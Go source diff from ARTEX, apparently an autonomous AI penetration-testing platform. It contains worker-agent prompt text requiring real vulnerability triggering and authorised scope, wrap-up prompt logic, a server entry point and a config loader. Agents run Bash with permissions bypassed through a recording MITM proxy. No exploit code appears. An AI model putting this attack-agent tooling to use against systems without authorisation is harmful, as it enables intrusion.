- report_finding：确认漏洞 → 记录(含 PoC，传 intent_id=你领到的意图id)。**只有你在本次运行里真实触发过该漏洞、拿到了可复现的证据（请求/响应或命令输出）才用它。** 严禁把下列当作已确认漏洞上报：仅凭版本号/指纹匹配到某 CVE、仅凭"参数看起来可注入"、仅凭外部漏洞库/更新日志/代码 diff 推断。**不要用查 CVE 库或"对比补丁版本"替代实际触发。** 触发不了但确有嫌疑，就用 record_fact 记一条 confidence=inferred 的事实（描述嫌疑点+为何未能触发），交给规划者派后续意图，别硬记成 finding。
|
||||
- list_assets（查询资产，非探索节点） / asset_neighbors / list_facts(探索事实) / list_findings(漏洞) / node_detail(探索节点 id，非资产 id)：按需查上下文。
|
||||
- 【必要时才会使用，大多数上下文都在本次会话中】search_all_worker_traces / list_worker_traces / get_worker_trace：**跨 work 复用信息**（别的 work 执行过程里出现过、却没写进 fact 的东西）。你看不到探索图，但可以：search_all_worker_traces(q) 按关键字搜全部 work 的过程（返回带 intent_id）；list_worker_traces 看有哪些 work 跑过；get_worker_trace(intent_id) 看某 work 的步骤摘要、get_worker_trace(intent_id, step_ids=[…]) 取那几步完整内容（一次≤5个）。**仅用于复用他人观察、避免重复劳动——不改变你的任务边界（仍只做你这条意图）。**
|
||||
|
||||
只在授权范围内操作。完成本意图后用一句话总结你做了什么、写回了哪些事实。务实、克制、聚焦这一条意图。`
|
||||
|
||||
// workerTrafficBlock is 段 [B]: the traffic-tool note, code-injected only when
|
||||
// traffic capture is on (proxyAddr set). Not stored, not editable.
|
||||
func workerTrafficBlock(proxyAddr string) string {
|
||||
if proxyAddr == "" {
|
||||
return ""
|
||||
}
|
||||
return "\n\n**流量工具**：\n- traffic_search / traffic_get：目标流量已被记录代理全量落库（本地文件树 data/traffic/<host>/<访问路径>/）。回看响应、找已访问过的资源，**先查流量、不要重复 curl 同一 URL**。traffic_search **必须指定 host**、默认只回 3 条极轻量索引(id/method/url/status/resp_len，无响应内容)，需要更多显式调大 limit；要看某条原文用 traffic_get(id)。"
|
||||
}
|
||||
|
||||
// artifactSpec is 段 [C]: the code-owned, non-editable tail appended to every
|
||||
// pentest agent's prompt — intermediate artifacts must land in the shared work
|
||||
// dir, never /tmp. Guaranteed present regardless of how the DB body is edited.
|
||||
func artifactSpec(workDir string) string {
|
||||
return "\n\n**中间产物输出规约**：脚本、payload、抓到的响应体、临时数据等一切中间产物，**一律写到共享工作目录 " + workDir + "**（这是所有 agent 共用的 CWD，相对路径即写在这里，也可用该绝对路径）——**不要写 /tmp、不要用其它绝对路径**。"
|
||||
}
|
||||
|
||||
// workerArtifactSubdir is the worker-only addendum to artifactSpec: put a run's
|
||||
// artifacts under an i<intentID>/ subdir to avoid concurrent name collisions.
|
||||
const workerArtifactSubdir = "为避免与其他 work 撞名，把本次产物放到子目录 i<意图id>/ 下（如 i123/exploit.py）。"
|
||||
|
||||
func workerSystem(proxyAddr, workDir string) string {
|
||||
body := renderSystem("worker", workerDefaultTmpl, WorkerVars{ProxyAddr: proxyAddr})
|
||||
return body + workerTrafficBlock(proxyAddr) + artifactSpec(workDir) + workerArtifactSubdir
|
||||
}
|
||||
|
||||
// renderIntentTask formats the claimed intent for the worker's SYSTEM prompt: the
|
||||
// intent is the worker's whole job, so — like the planner's situational block — it
|
||||
// belongs in system, where compaction can never drop it during a long run.
|
||||
func renderIntentTask(intent *db.Node) string {
|
||||
return fmt.Sprintf("\n\n【你领到的意图（本次唯一任务：只做这一条、只产生事实、做完即停）】：\n%s\n意图 id: %d（写回 record_fact / report_finding 时传它）", string(intent.Payload), intent.ID)
|
||||
}
|
||||
|
||||
// renderWorkerGraphOverview folds the global situational snapshot into the worker's
|
||||
// SYSTEM prompt for AWARENESS ONLY. The framing is deliberately strong: the overview
|
||||
// must NOT widen the worker's job — it still does only its assigned intent. Its sole
|
||||
// purpose is letting the worker read context (existing facts/assets/hints)
|
||||
// so it avoids redundant work and doesn't re-derive what others already found.
|
||||
func renderWorkerGraphOverview(data map[string]any) string {
|
||||
b, err := json.Marshal(data)
|
||||
if err != nil {
|
||||
return "" // fall back silently: the worker just won't have the global context
|
||||
}
|
||||
return "\n\n【全局探索态势（仅供你了解大局，不是你的任务清单）】：\n" +
|
||||
"下面是整个任务当前的探索概况。给你的**唯一目的**是让你了解全局动态、复用已有结论、避免重复别人已做过的事。\n" +
|
||||
"**它绝不扩大你的职责边界**：你仍然只做上面领到的那一条意图。看到这里有别的 open 意图 / 未覆盖的点 / 其它可打方向，也**绝不要自己去动手**——那些是别的 worker 的事，由规划者调度。你若发现相关新线索，最多写进 fact 让规划者知道，不要自己追。\n" +
|
||||
string(b)
|
||||
}
|
||||
|
||||
// Execute runs one intent. hooks (the per-task Guard) gates every tool call; may
|
||||
// be nil. emit, if non-nil, receives one ActivityRecord per execution step.
|
||||
// Returns the terminal reason (so the engine can distinguish completed vs
|
||||
// max_turns) and how many facts were written back (so an intent that explored but
|
||||
// persisted nothing isn't mistaken for done).
|
||||
func (w *Worker) Execute(ctx context.Context, name string, taskID int64, as *db.AssetStore, ts *db.ExplorationStore, intent *db.Node, hooks harness.HookRunner, emit func(db.Activity), enr EnrichTrigger) (harness.TerminalReason, int, error) {
|
||||
tsx := NewToolSet(ts, name)
|
||||
tsx.SetTaskID(taskID)
|
||||
if as != nil {
|
||||
tsx.SetAssetStore(as, as.Companies())
|
||||
}
|
||||
tsx.SetOwnerNode(intent.ID) // assets this worker discovers anchor to its intent → visible to the task
|
||||
tsx.SetEnrich(enr) // async DNS/HTTP auto-completion for assets this worker writes
|
||||
// base = built-in worker tools ∪ host tools (traffic) ∪ default tools (incl. Bash);
|
||||
// then augment with the agent's visible skills/MCP. During the SDK settlement
|
||||
// phase, Bash is hidden via Settlement.DisabledTools (no local gating needed).
|
||||
base := append(tsx.WorkerTools(), w.extraTools...)
|
||||
base = append(base, actool.DefaultTools()...)
|
||||
tools, def, cleanup := AugmentTools(ctx, "worker", base)
|
||||
defer cleanup()
|
||||
|
||||
// 意图是 worker 的全部任务，放进 system prompt（抗 compaction、整轮常驻），而不是
|
||||
// user 输入——与 planner 把关键态势放 system 一致。落在指令之后、deferred 块之前。
|
||||
// 全局态势(graphOverviewData)也带上，但仅供了解大局；意图放在最后、最醒目的位置。
|
||||
overview := renderWorkerGraphOverview(tsx.graphOverviewData())
|
||||
system, boundary := deferredSystem(workerSystem(w.proxyAddr, w.workDir)+overview+renderIntentTask(intent), def)
|
||||
// 任务级 deadline(经 ctx 注入)夹逼本 run 的墙钟预算 + 决定收尾词(见 taskclock.go)。
|
||||
tc := taskClockFrom(ctx)
|
||||
maxDur, clamped := clampMaxDuration(tc.DeadlineUnix, w.runTimeout)
|
||||
settle := wrapupSettlement("worker", []string{"Bash"})
|
||||
if tc.DeadlineUnix > 0 {
|
||||
settle = wrapupSettlementForTask("worker", []string{"Bash"}, clamped)
|
||||
}
|
||||
opts := agentcore.Options{
|
||||
Provider: w.prov,
|
||||
SystemPrompt: system,
|
||||
DynamicBoundary: boundary,
|
||||
Tools: tools,
|
||||
DeferredTools: def.Deferred,
|
||||
UnlockSet: def.Unlock,
|
||||
PermissionMode: permission.ModeBypass,
|
||||
// WebFetch 走记录代理，其 HTTP 与 curl 一样被留痕；载入代理 CA 让经 MITM
|
||||
// 重签的 HTTPS 证书能【正常校验通过】（而非关掉校验）。proxy 空则直连。
|
||||
EnableWebFetch: true,
|
||||
WebFetchProxy: w.proxyAddr,
|
||||
WebFetchCACert: w.proxyCACert,
|
||||
// 联网搜索(可选)。ddgs 无需 key；brave-free 需 BraveKey；tavily 需 TavilyKey。
|
||||
// WebSearchProxy 是独立的出口代理(http/https/socks5)，与记录流量的 MITM 代理无关；空则直连。
|
||||
EnableWebSearch: w.webSearch.Enabled,
|
||||
WebSearchBackend: w.webSearch.Backend,
|
||||
BraveSearchAPIKey: w.webSearch.BraveKey,
|
||||
TavilySearchAPIKey: w.webSearch.TavilyKey,
|
||||
WebSearchProxy: w.webSearch.Proxy,
|
||||
// Bash 子命令的 HTTP 默认走记录代理 + 信任其 CA（工具无需 -x/-k）。
|
||||
BashEnv: proxyEnv(w.proxyAddr, w.proxyCACert),
|
||||
WorkingDir: w.workDir,
|
||||
MaxTurns: w.maxTurns, // 0 = unlimited (configurable in agent management)
|
||||
// 墙钟预算,轮边界判,不打断半路;0 = 不限。有任务级 deadline 时夹逼到 min(自身预算,
|
||||
// 距 deadline 剩余),让本 run 在任务到点时自然进收尾(见 taskclock.go)。
|
||||
MaxDuration: maxDur,
|
||||
// 命中预算(轮次 OR 时长)→ SDK 跑一轮收尾(隐藏 Bash),把已识别的写回,避免烂尾。
|
||||
// clamped(被任务 deadline 夹逼)时用 PromptByReason:因超时=任务到点→任务超时词,
|
||||
// 因步数=夹逼窗口内步数先耗尽→回落 per-run 词。非 clamped 维持纯 per-run。
|
||||
Settlement: settle,
|
||||
// large tool output spills to cmd-output/ with a head + pointer (SDK tool.Capture);
|
||||
// full output preserved on disk. 截断上限用 SDK 默认(30000 字符)。
|
||||
ToolOutputDir: filepath.Join(w.workDir, "cmd-output"),
|
||||
Compaction: compactionConfig(w.window), // long tool-heavy runs stay within the window
|
||||
Todos: actool.NewTodoStore(), // 会话级临时待办（TodoWrite），纯规划用，退出即丢
|
||||
}
|
||||
if hooks != nil { // typed-nil guard: only set when concrete (avoids harness panic)
|
||||
opts.Hooks = hooks
|
||||
}
|
||||
if w.mem != nil {
|
||||
opts.Memory = &agentcore.MemoryOptions{Store: w.mem, AutoInject: true, MaxInject: 3}
|
||||
}
|
||||
if w.tx != nil { // persist raw LLM conversation; one file per worked intent
|
||||
opts.Transcript = w.tx
|
||||
opts.SessionID = fmt.Sprintf("exp%d-worker-i%d", ts.ID(), intent.ID)
|
||||
}
|
||||
intentID := intent.ID
|
||||
emitWrap := func(r db.Activity) {
|
||||
if emit != nil {
|
||||
r.NodeID, r.Worker = &intentID, name
|
||||
emit(r)
|
||||
}
|
||||
}
|
||||
// 意图已在 system 里。user 输入只放启动指令。
|
||||
input := "开始执行 system 提示里的这条意图：只做它、只产生事实、做完即停。"
|
||||
|
||||
s := agentcore.NewSession(opts)
|
||||
defer s.Close() // release the session's background-task manager (temp dir + processes)
|
||||
|
||||
// Budgets + settlement are owned by the SDK (MaxTurns/MaxDuration + Settlement):
|
||||
// on hit it runs a wrap-up turn and finishes with ReasonMaxTurns/ReasonTimeout.
|
||||
// We only add a HARD ctx backstop past the soft wall-clock budget, for the rare
|
||||
// case a single turn hangs so the turn-boundary check never runs — the soft
|
||||
// budget handles the normal case gracefully (no mid-stream abort). pause /
|
||||
// planner kill cancel ctx; the engine distinguishes those and re-queues/stops.
|
||||
// backstop uses the EFFECTIVE (deadline-clamped) budget, not the raw runTimeout,
|
||||
// so a task-timeout run's hard deadline sits just past its clamped soft budget.
|
||||
runCtx := ctx
|
||||
if maxDur > 0 {
|
||||
var runCancel context.CancelFunc
|
||||
runCtx, runCancel = context.WithTimeout(ctx, maxDur+settleHardGrace)
|
||||
defer runCancel()
|
||||
}
|
||||
_, reason, err := captureRunSession(runCtx, s, input, emitWrap)
|
||||
return reason, tsx.Wrote(), err
|
||||
}
|
||||
+173
@@ -0,0 +1,173 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"github.com/Autumn-27/norma/harness"
|
||||
)
|
||||
|
||||
// 收尾提示词(wrap-up / settlement prompt):当 agent 因【步数耗尽(MaxTurns)】或
|
||||
// 【超时(run_seconds/MaxDuration)】被终止时,SDK 的 settlement 阶段会注入这段提示,
|
||||
// 让 agent 先把已识别但未写回的内容落库、再输出一句总结,避免烂尾。
|
||||
//
|
||||
// 每个 agent 的收尾提示词可在后台按需覆盖(存 agents.wrapup_prompt),留空则用这里的
|
||||
// 内置默认。仅【提示词正文】可编辑;禁用哪些工具、收尾自身给几轮预算属代码固定策略。
|
||||
|
||||
// WrapupOverride, if set, returns the stored wrap-up prompt for an agent key and
|
||||
// whether a non-empty one exists. Wired by the server to the agents table (like
|
||||
// PromptOverride for system prompts). nil / empty → the built-in default is used.
|
||||
var WrapupOverride func(agentKey string) (string, bool)
|
||||
|
||||
// WrapupMaxTurnsOverride, if set, returns the admin-configured turn budget for the
|
||||
// wrap-up phase of an agent and whether a positive one exists. Wired to the agents
|
||||
// table. nil / ≤0 → the built-in per-agent default (wrapupTurnDefaults) is used.
|
||||
var WrapupMaxTurnsOverride func(agentKey string) (int, bool)
|
||||
|
||||
// 内置默认收尾提示词,按 agent key 索引。worker 复用历史上硬编码的 settleWrapUpPrompt
|
||||
// (定义在 worker.go),planner/mainagent 各有一版;未命中的(自定义 agent)走通用兜底。
|
||||
var wrapupDefaults = map[string]string{
|
||||
"worker": settleWrapUpPrompt,
|
||||
"planner": plannerWrapUpDefault,
|
||||
"mainagent": mainAgentWrapUpDefault,
|
||||
}
|
||||
|
||||
// wrapupTurnDefaults: 各 agent 收尾阶段【自身】的轮数预算内置默认(可被后台 >0 覆盖)。
|
||||
// worker 写回可能占几轮(record_fact/insert_assets)故给 4;其余给 5。未命中走 genericWrapupTurns。
|
||||
var wrapupTurnDefaults = map[string]int{
|
||||
"worker": 4,
|
||||
"planner": 5,
|
||||
"mainagent": 5,
|
||||
}
|
||||
|
||||
const genericWrapupTurns = 5
|
||||
|
||||
const plannerWrapUpDefault = "你本轮规划的步数即将用尽——注意只是【这一轮】结束,系统之后仍会随态势变化再次唤醒你继续规划,并非任务终止,你无需在此收束整个规划。请把本轮已经想清楚的结论落地、别让这一轮白跑,但也【不要为了收尾硬凑意图】(本轮 0 个意图仍是完全正常的结果)：(1) 若已判断出【当前就该派发】的探索方向,用一次 add_intent 批量提交(想好的别憋着不发);(2) 对已被某发现/事实证明达成的目标,调 prove_goal 标记 met(别漏判);(3) 若识别出需要分步的串行利用链,用 TodoWrite 记下,便于下次唤醒接着派。做完直接结束本轮,无需输出总结文本。"
|
||||
|
||||
const mainAgentWrapUpDefault = "你的步数即将用尽,本次交互就要结束。不要再发起新的探索/操作。请**单独用一句话纯文本**向用户总结当前进展、关键结论,以及建议的下一步。"
|
||||
|
||||
const genericWrapUpDefault = "你即将因预算耗尽被终止。请先把已完成但未落库的结果写回,再**单独用一句话纯文本**总结你做了什么、得到哪些关键结论(这句会作为本次运行的结果展示)。"
|
||||
|
||||
// WrapupDefault returns the built-in default wrap-up prompt for an agent key —
|
||||
// used by the admin UI as the "restore default" value and empty-field placeholder.
|
||||
func WrapupDefault(agentKey string) string {
|
||||
if d, ok := wrapupDefaults[agentKey]; ok {
|
||||
return d
|
||||
}
|
||||
return genericWrapUpDefault
|
||||
}
|
||||
|
||||
// WrapupTurnsDefault returns the built-in wrap-up turn budget for an agent key —
|
||||
// used by the admin UI as the "0 = default N" hint.
|
||||
func WrapupTurnsDefault(agentKey string) int {
|
||||
if n, ok := wrapupTurnDefaults[agentKey]; ok {
|
||||
return n
|
||||
}
|
||||
return genericWrapupTurns
|
||||
}
|
||||
|
||||
// resolveWrapup returns the effective wrap-up prompt: the DB override (if set and
|
||||
// non-empty) over the built-in default.
|
||||
func resolveWrapup(agentKey string) string {
|
||||
if WrapupOverride != nil {
|
||||
if t, ok := WrapupOverride(agentKey); ok && strings.TrimSpace(t) != "" {
|
||||
return t
|
||||
}
|
||||
}
|
||||
return WrapupDefault(agentKey)
|
||||
}
|
||||
|
||||
// resolveWrapupTurns returns the effective wrap-up turn budget: a positive DB
|
||||
// override over the built-in per-agent default.
|
||||
func resolveWrapupTurns(agentKey string) int {
|
||||
if WrapupMaxTurnsOverride != nil {
|
||||
if v, ok := WrapupMaxTurnsOverride(agentKey); ok && v > 0 {
|
||||
return v
|
||||
}
|
||||
}
|
||||
return WrapupTurnsDefault(agentKey)
|
||||
}
|
||||
|
||||
// wrapupSettlement builds the settlement config for an agent's run. Prompt and the
|
||||
// turn budget are admin-editable per agent; disabled tools are code-owned policy so
|
||||
// a user can't edit away the "stop probing" guardrail. Resolved fresh each run
|
||||
// (reads DB live), so edits apply on the next run without a restart.
|
||||
func wrapupSettlement(agentKey string, disabledTools []string) *harness.Settlement {
|
||||
return &harness.Settlement{
|
||||
Prompt: resolveWrapup(agentKey),
|
||||
DisabledTools: disabledTools,
|
||||
MaxTurns: resolveWrapupTurns(agentKey),
|
||||
}
|
||||
}
|
||||
|
||||
// ---------- 任务级超时收尾词（见 docs/任务级超时与收尾设计.md）----------
|
||||
//
|
||||
// 与 per-run 收尾词是【两套】：per-run 是"你这一次 run 的预算用完了"；任务超时是
|
||||
// "整个任务到点、即将结束"。语义常相反（尤其 planner：per-run 说"别停继续规划"，
|
||||
// 任务超时说"到点停止规划、做最后判定"）。只给 worker/planner 配置。
|
||||
|
||||
// WrapupTaskTimeoutOverride / …TurnsOverride：任务超时收尾词与轮数的 DB 覆盖
|
||||
// （wire 到 agents.task_timeout_wrapup_prompt / _max_turns，仅 worker/planner）。
|
||||
var (
|
||||
WrapupTaskTimeoutOverride func(agentKey string) (string, bool)
|
||||
WrapupTaskTimeoutTurnsOverride func(agentKey string) (int, bool)
|
||||
)
|
||||
|
||||
var taskTimeoutWrapupDefaults = map[string]string{
|
||||
"worker": workerTaskTimeoutDefault,
|
||||
"planner": plannerTaskTimeoutDefault,
|
||||
}
|
||||
|
||||
const workerTaskTimeoutDefault = "**整个任务已到达超时上限，即将结束**（不是你这次 run 的预算，是整场探索到点了）。这是最后机会：(1) 把你已识别但还没写回的内容【全部】落库——新资产 insert_assets、探索结论/事实 record_fact、确认漏洞 report_finding；(2) 不要再启动任何新命令/探测；(3) **最后单独用一句话纯文本**总结你在本意图上的关键结论。"
|
||||
|
||||
const plannerTaskTimeoutDefault = "**整个任务已到达超时上限，即将结束**（不是本轮，是整个任务终止）。请基于当前【全部】事实与发现，做最后一次目标判定：对已被证据证明达成的目标调 prove_goal 标记 met（别漏判）。**不要再生成任何新意图**（此时派意图也不会再被执行）。判定完即收束，无需输出总结文本。"
|
||||
|
||||
// TaskTimeoutWrapupDefault 返回某 agent 的任务超时内置默认收尾词（供后台占位/恢复默认）。
|
||||
func TaskTimeoutWrapupDefault(agentKey string) string {
|
||||
return taskTimeoutWrapupDefaults[agentKey] // 未配置(mainagent/chat)返回空串
|
||||
}
|
||||
|
||||
// resolveTaskTimeoutWrapup：DB 覆盖(非空) > 内置默认。空串表示该 agent 无任务超时词
|
||||
// （非 worker/planner），此时调用方应回退 per-run 词。
|
||||
func resolveTaskTimeoutWrapup(agentKey string) string {
|
||||
if WrapupTaskTimeoutOverride != nil {
|
||||
if t, ok := WrapupTaskTimeoutOverride(agentKey); ok && strings.TrimSpace(t) != "" {
|
||||
return t
|
||||
}
|
||||
}
|
||||
return TaskTimeoutWrapupDefault(agentKey)
|
||||
}
|
||||
|
||||
func resolveTaskTimeoutTurns(agentKey string) int {
|
||||
if WrapupTaskTimeoutTurnsOverride != nil {
|
||||
if v, ok := WrapupTaskTimeoutTurnsOverride(agentKey); ok && v > 0 {
|
||||
return v
|
||||
}
|
||||
}
|
||||
return resolveWrapupTurns(agentKey) // 默认沿用 per-run 轮数
|
||||
}
|
||||
|
||||
// wrapupSettlementForTask builds settlement for a worker/planner run that is aware
|
||||
// of the task deadline. See §5 of the design doc:
|
||||
// - clamped=true → 本次 run 被任务 deadline 夹逼：因 Timeout 收尾=任务到点→任务超时词；
|
||||
// 因 MaxTurns 收尾=夹逼窗口内步数先耗尽、任务还剩几分钟→回落 per-run 词。
|
||||
// - clamped=false → 任务还早：两种 reason 都用 per-run 词（即退化为 wrapupSettlement）。
|
||||
//
|
||||
// 交给 harness 的 PromptByReason 在收尾时按【实际】reason 现场挑，无 build 时错配。
|
||||
func wrapupSettlementForTask(agentKey string, disabledTools []string, clamped bool) *harness.Settlement {
|
||||
perRun := resolveWrapup(agentKey)
|
||||
st := &harness.Settlement{
|
||||
Prompt: perRun, // 兜底(也是非 clamped 时两种 reason 的取值)
|
||||
DisabledTools: disabledTools,
|
||||
MaxTurns: resolveWrapupTurns(agentKey),
|
||||
}
|
||||
if clamped {
|
||||
if tt := resolveTaskTimeoutWrapup(agentKey); tt != "" {
|
||||
st.PromptByReason = map[harness.TerminalReason]string{
|
||||
harness.ReasonTimeout: tt, // 任务到点
|
||||
harness.ReasonMaxTurns: perRun, // 步数先耗尽、任务还剩时间
|
||||
}
|
||||
st.MaxTurns = resolveTaskTimeoutTurns(agentKey)
|
||||
}
|
||||
}
|
||||
return st
|
||||
}
|
||||
@@ -0,0 +1,102 @@
|
||||
// Command artex runs the ARTEX backend: the dual SQLite graph stores,
|
||||
// the event-driven exploration engine, and the JSON HTTP API consumed by the
|
||||
// shadcn/ui frontend.
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/signal"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/artex/config"
|
||||
"github.com/Autumn-27/artex/server"
|
||||
)
|
||||
|
||||
// version is the build version, injected at release time via
|
||||
// -ldflags "-X main.version=<tag>". Defaults to "dev" for local builds.
|
||||
var version = "dev"
|
||||
|
||||
const banner = `
|
||||
_ ____ _____ _______ __
|
||||
/ \ | _ \_ _| ____\ \/ /
|
||||
/ _ \ | |_) || | | _| \ /
|
||||
/ ___ \| _ < | | | |___ / \
|
||||
/_/ \_\_| \_\|_| |_____/_/\_\
|
||||
`
|
||||
|
||||
// printBanner writes the startup banner + version/runtime info to stdout.
|
||||
func printBanner(addr string) {
|
||||
fmt.Print(banner)
|
||||
fmt.Println(" AI 自主渗透测试系统")
|
||||
fmt.Printf(" 版本 %s · %s/%s · %s · 监听 %s\n\n",
|
||||
version, runtime.GOOS, runtime.GOARCH, runtime.Version(), addr)
|
||||
}
|
||||
|
||||
func main() {
|
||||
var (
|
||||
addr = flag.String("addr", ":8787", "HTTP listen address")
|
||||
dataDir = flag.String("data", filepath.Join(config.BaseDir(), "data"), "data directory for SQLite stores (default: data/ next to the executable)")
|
||||
proxy = flag.String("proxy", ":8788", "traffic recording proxy address (empty to disable)")
|
||||
)
|
||||
flag.Parse()
|
||||
|
||||
printBanner(*addr)
|
||||
|
||||
// capture backend logs into the in-memory sink (still to stderr) so the /logs
|
||||
// page can show a live log stream. Do this first, to catch startup logs too.
|
||||
server.StartLogCapture()
|
||||
|
||||
// surface which config file the binary reads (absolute, so `go run`'s relative
|
||||
// "config.json" — resolved against the CWD — is unambiguous).
|
||||
cfgPath := config.Path()
|
||||
if abs, e := filepath.Abs(cfgPath); e == nil {
|
||||
cfgPath = abs
|
||||
}
|
||||
if _, e := os.Stat(cfgPath); e == nil {
|
||||
log.Printf("[config] 配置文件: %s", cfgPath)
|
||||
} else {
|
||||
log.Printf("[config] 配置文件: %s (不存在 — 将仅尝试环境变量 ARTEX_PG_DSN)", cfgPath)
|
||||
}
|
||||
|
||||
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM)
|
||||
defer stop()
|
||||
|
||||
mgr, err := server.NewManager(*dataDir, *proxy)
|
||||
if err != nil {
|
||||
log.Fatalf("open stores: %v", err)
|
||||
}
|
||||
defer mgr.Close()
|
||||
|
||||
skillDir := config.SkillDir()
|
||||
if abs, err := filepath.Abs(skillDir); err == nil {
|
||||
skillDir = abs
|
||||
}
|
||||
log.Printf("[config] skill 目录: %s", skillDir)
|
||||
srv := server.New(ctx, mgr, skillDir, *dataDir)
|
||||
httpSrv := &http.Server{
|
||||
Addr: *addr,
|
||||
Handler: srv.Handler(),
|
||||
ReadHeaderTimeout: 10 * time.Second,
|
||||
}
|
||||
|
||||
go func() {
|
||||
log.Printf("ARTEX %s backend listening on %s (data=%s, workers=%d)", version, *addr, *dataDir, mgr.Workers())
|
||||
if err := httpSrv.ListenAndServe(); err != nil && err != http.ErrServerClosed {
|
||||
log.Fatalf("serve: %v", err)
|
||||
}
|
||||
}()
|
||||
|
||||
<-ctx.Done()
|
||||
log.Println("shutting down...")
|
||||
shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer cancel()
|
||||
_ = httpSrv.Shutdown(shutdownCtx)
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
{
|
||||
"_comment": "复制为 config.json（或用环境变量 ARTEX_CONFIG 指定其它路径）。本文件仅含 database 与 skill_dir 两项；LLM 等其余配置走环境变量或应用内设置，不在此文件。",
|
||||
|
||||
"_comment_database": "PostgreSQL 连接。优先级：环境变量 ARTEX_PG_DSN > 本文件 database。两种写法二选一：(A) 填下面的分字段；(B) 只填 database.dsn 一个完整连接串。",
|
||||
"database": {
|
||||
"host": "127.0.0.1",
|
||||
"port": 5433,
|
||||
"user": "artex",
|
||||
"password": "",
|
||||
"dbname": "artex",
|
||||
"sslmode": "disable"
|
||||
},
|
||||
|
||||
"_comment_database_dsn": "写法 (B)：删掉上面的 database，改用完整 DSN。dsn 非空时会忽略分字段。",
|
||||
"_example_database_dsn": {
|
||||
"database": {
|
||||
"dsn": "postgres://user:[email protected]:5432/artex?sslmode=require"
|
||||
}
|
||||
},
|
||||
|
||||
"_comment_skill_dir": "skill 根目录（每个子目录一个 skill，含 SKILL.md）。优先级：环境变量 ARTEX_SKILL_DIR > 本字段 > 默认（可执行文件同级的 skills/）。留空或删除本字段即用默认。相对路径相对当前工作目录解析。",
|
||||
"skill_dir": "/opt/artex/skills"
|
||||
}
|
||||
@@ -0,0 +1,192 @@
|
||||
// Package config loads runtime configuration from a JSON file, with environment
|
||||
// variables taking precedence. Currently it carries the PostgreSQL connection.
|
||||
package config
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Database is the PostgreSQL connection config. Either set DSN directly, or set
|
||||
// the component fields and a DSN is assembled from them.
|
||||
type Database struct {
|
||||
DSN string `json:"dsn"`
|
||||
Host string `json:"host"`
|
||||
Port int `json:"port"`
|
||||
User string `json:"user"`
|
||||
Password string `json:"password"`
|
||||
DBName string `json:"dbname"`
|
||||
SSLMode string `json:"sslmode"`
|
||||
}
|
||||
|
||||
// Config is the on-disk config file shape.
|
||||
type Config struct {
|
||||
Database Database `json:"database"`
|
||||
SkillDir string `json:"skill_dir"`
|
||||
}
|
||||
|
||||
// BaseDir is the directory that anchors all runtime artifacts (config.json and
|
||||
// the data/ store). It is the directory the running binary lives in, so a
|
||||
// distributed executable keeps its files next to itself on any OS (Windows,
|
||||
// Linux, …) regardless of the working directory it is launched from.
|
||||
//
|
||||
// When launched via `go run`, the binary is throwaway: it sits either in a temp
|
||||
// build dir (cache miss → fresh link) OR straight inside the Go build cache
|
||||
// (cache hit → run from $GOCACHE/.../...-d). We detect both and fall back to the
|
||||
// current working directory so dev artifacts (data/, transcripts) and config
|
||||
// resolve against the project dir, not the throwaway binary's location.
|
||||
func BaseDir() string {
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return "."
|
||||
}
|
||||
dir := filepath.Dir(exe)
|
||||
if isGoRunDir(dir) {
|
||||
return "." // throwaway `go run` binary → use CWD
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// isGoRunDir reports whether dir is where `go run` parked its executable: under
|
||||
// the system temp dir (cache miss), or anywhere inside a Go build cache
|
||||
// (…/go-build/…, the cache-hit case — NOT under os.TempDir(), which is why the
|
||||
// old temp-only check failed intermittently). In both cases the binary is
|
||||
// throwaway, so config/data must resolve against the CWD.
|
||||
func isGoRunDir(dir string) bool {
|
||||
if tmp := os.TempDir(); tmp != "" {
|
||||
if rel, err := filepath.Rel(tmp, dir); err == nil && rel != ".." && !strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
for _, seg := range strings.Split(filepath.ToSlash(dir), "/") {
|
||||
if seg == "go-build" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Path returns the config file path. Resolution order:
|
||||
// 1. env ARTEX_CONFIG (explicit override)
|
||||
// 2. ./config.json in the current working directory (running from the project
|
||||
// dir — robust no matter where `go run` placed the temp/cached binary)
|
||||
// 3. config.json next to the executable (a distributed binary keeps it beside)
|
||||
//
|
||||
// The first existing file wins. If none exist, the CWD path is returned so the
|
||||
// "not found" message points at the project dir the user most likely expected.
|
||||
func Path() string {
|
||||
if v := strings.TrimSpace(os.Getenv("ARTEX_CONFIG")); v != "" {
|
||||
return v
|
||||
}
|
||||
var candidates []string
|
||||
if cwd, err := os.Getwd(); err == nil {
|
||||
candidates = append(candidates, filepath.Join(cwd, "config.json"))
|
||||
}
|
||||
candidates = append(candidates, filepath.Join(BaseDir(), "config.json"))
|
||||
for _, c := range candidates {
|
||||
if _, err := os.Stat(c); err == nil {
|
||||
return c
|
||||
}
|
||||
}
|
||||
return candidates[0]
|
||||
}
|
||||
|
||||
// Load reads and parses the config file. A missing/unreadable file yields a zero
|
||||
// Config (so callers fall back to defaults) rather than an error.
|
||||
func Load() Config {
|
||||
var c Config
|
||||
b, err := os.ReadFile(Path())
|
||||
if err != nil {
|
||||
return c
|
||||
}
|
||||
_ = json.Unmarshal(b, &c)
|
||||
return c
|
||||
}
|
||||
|
||||
// SkillDir returns the skill root directory with precedence:
|
||||
//
|
||||
// env ARTEX_SKILL_DIR > config file (skill_dir) > BaseDir()/skills
|
||||
//
|
||||
// The directory is created if it does not exist.
|
||||
func SkillDir() string {
|
||||
var d string
|
||||
if v := strings.TrimSpace(os.Getenv("ARTEX_SKILL_DIR")); v != "" {
|
||||
d = v
|
||||
